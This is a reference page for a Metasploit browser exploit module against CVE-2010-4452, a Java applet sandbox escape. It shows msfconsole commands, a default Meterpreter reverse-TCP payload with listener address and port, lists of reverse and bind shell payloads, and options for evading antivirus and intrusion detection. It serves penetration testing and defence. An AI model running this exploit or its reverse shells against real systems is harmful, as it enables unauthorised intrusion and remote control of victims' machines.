Sun Java Applet2ClassLoader Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/browser/java_codebase_trust metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Sun Java Applet2ClassLoader Remote Code Execution
Module: exploit/windows/browser/java_codebase_trust
Source code: modules/exploits/windows/browser/java_codebase_trust.rb
Disclosure date: 2011-02-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2010-4452
This module exploits a vulnerability in the Java Runtime Environment that allows an attacker to run an applet outside of the Java Sandbox. When an applet is invoked with: 1. A "codebase" parameter that points at a trusted directory 2. A "code" parameter that is a URL that does not contain any dots the applet will run outside of the sandbox. This vulnerability affects JRE prior to version 6 update 24.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/browser/java_codebase_trust
msf exploit(java_codebase_trust) > exploit
Go back to menu.
Msfconsole Usage
Here is how the windows/browser/java_codebase_trust exploit module looks in the msfconsole:
msf6 > use exploit/windows/browser/java_codebase_trust
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(windows/browser/java_codebase_trust) > show info
Name: Sun Java Applet2ClassLoader Remote Code Execution
Module: exploit/windows/browser/java_codebase_trust
Platform: Java
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-02-15
Provided by:
Frederic Hoguin
jduck <[email protected]>
Available targets:
Id Name
-- ----
0 Generic (Java Payload)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LIBPATH C:\Program Files\java\jre6\lib\ext no The codebase path to use (privileged)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 20480
Avoid: 0 characters
Description:
This module exploits a vulnerability in the Java Runtime Environment
that allows an attacker to run an applet outside of the Java
Sandbox. When an applet is invoked with: 1. A "codebase" parameter
that points at a trusted directory 2. A "code" parameter that is a
URL that does not contain any dots the applet will run outside of
the sandbox. This vulnerability affects JRE prior to version 6
update 24.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-4452
OSVDB (71193)
http://www.zerodayinitiative.com/advisories/ZDI-11-084
http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/
http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html
Module Options
This is a complete list of options available in the windows/browser/java_codebase_trust exploit:
msf6 exploit(windows/browser/java_codebase_trust) > show options
Module options (exploit/windows/browser/java_codebase_trust):
Name Current Setting Required Description
---- --------------- -------- -----------
LIBPATH C:\Program Files\java\jre6\lib\ext no The codebase path to use (privileged)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Generic (Java Payload)
Advanced Options
Here is a complete list of advanced options supported by the windows/browser/java_codebase_trust exploit:
msf6 exploit(windows/browser/java_codebase_trust) > show advanced
Module advanced options (exploit/windows/browser/java_codebase_trust):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/browser/java_codebase_trust module can exploit:
msf6 exploit(windows/browser/java_codebase_trust) > show targets
Exploit targets:
Id Name
-- ----
0 Generic (Java Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/browser/java_codebase_trust exploit:
msf6 exploit(windows/browser/java_codebase_trust) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the windows/browser/java_codebase_trust exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/browser/java_codebase_trust) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to load java class
Here is a relevant code snippet related to the "Unable to load java class" error message:
85: @java_class = nil
86: File.open(path, "rb") { |fd|
87: @java_class = fd.read(fd.stat.size)
88: }
89: if not @java_class
90: fail_with(Failure::Unknown, "Unable to load java class")
91: end
92:
93: super
94: end
95:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2560 Merged Pull Request: ZDI references for reference.rb
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #343 Merged Pull Request: Http print standardization
References
- CVE-2010-4452
- OSVDB (71193)
- ZDI-11-084
- http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/
- http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html
See Also
Check also the following modules related to this module:
- exploit/windows/browser/java_basicservice_impl
- exploit/windows/browser/java_cmm
- exploit/windows/browser/java_docbase_bof
- exploit/windows/browser/java_mixer_sequencer
- exploit/windows/browser/java_ws_arginject_altjvm
- exploit/windows/browser/java_ws_double_quote
- exploit/windows/browser/java_ws_vmargs
- auxiliary/admin/zend/java_bridge
- auxiliary/gather/java_rmi_registry
- auxiliary/scanner/misc/java_jmx_server
- auxiliary/scanner/misc/java_rmi_server
- exploit/multi/browser/java_atomicreferencearray
- exploit/multi/browser/java_calendar_deserialize
- exploit/multi/browser/java_getsoundbank_bof
- exploit/multi/browser/java_jre17_driver_manager
- exploit/multi/browser/java_jre17_exec
- exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
- exploit/multi/browser/java_jre17_jaxws
- exploit/multi/browser/java_jre17_jmxbean
- exploit/multi/browser/java_jre17_jmxbean_2
- exploit/multi/browser/java_jre17_method_handle
- exploit/multi/browser/java_jre17_provider_skeleton
- exploit/multi/browser/java_jre17_reflection_types
- exploit/multi/browser/java_rhino
- exploit/multi/browser/java_rmi_connection_impl
- exploit/multi/browser/java_setdifficm_bof
- exploit/multi/browser/java_signed_applet
- exploit/multi/browser/java_storeimagearray
- exploit/multi/browser/java_trusted_chain
- exploit/multi/browser/java_verifier_field_access
- exploit/multi/misc/java_jdwp_debugger
- exploit/multi/misc/java_jmx_server
- exploit/multi/misc/java_rmi_server
- post/windows/gather/enum_trusted_locations
- exploit/windows/browser/intrust_annotatex_add
Related Nessus plugins:
- Oracle Java SE Multiple Vulnerabilities (February 2011 CPU)
- RHEL 4 / 5 / 6 : java-1.6.0-sun (RHSA-2011:0282)
- SuSE 11.1 Security Update : Sun Java 1.6 (SAT Patch Number 3976)
- SuSE 10 Security Update : IBM Java 1.6 (ZYPP Patch Number 7342)
- RHEL 4 / 5 / 6 : java-1.6.0-ibm (RHSA-2011:0357)
- SuSE 11.1 Security Update : IBM Java (SAT Patch Number 4109)
- SuSE 10 Security Update : java-1_6_0-ibm, java-1_6_0-ibm-32bit, java-1_6_0-ibm-64bit, java-1_6_0-ibm-alsa, java-1_6_0-ibm-alsa-32bit, java-1_6_0-ibm-demo, java-1_6_0-ibm-devel, java-1_6_0-ibm-devel-32bit, java-1_6_0-ibm-fonts, java-1_6_0-ibm-jdbc, java-1_6_0-ibm-jdbc-32bit, java-1_6_0-ibm-jdbc-64bit, java-1_6_0-ibm-plugin, java-1_6_0-ibm-plugin-32bit, java-1_6_0-ibm-src (ZYPP Patch Number 7369)
- openSUSE Security Update : java-1_6_0-sun (openSUSE-SU-2011:0126-1)
- VMSA-2011-0013 : VMware third-party component updates for VMware vCenter Server, vCenter Update Manager, ESXi and ESX
- GLSA-201111-02 : Oracle JRE/JDK: Multiple vulnerabilities (BEAST)
Authors
- Frederic Hoguin
- jduck
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.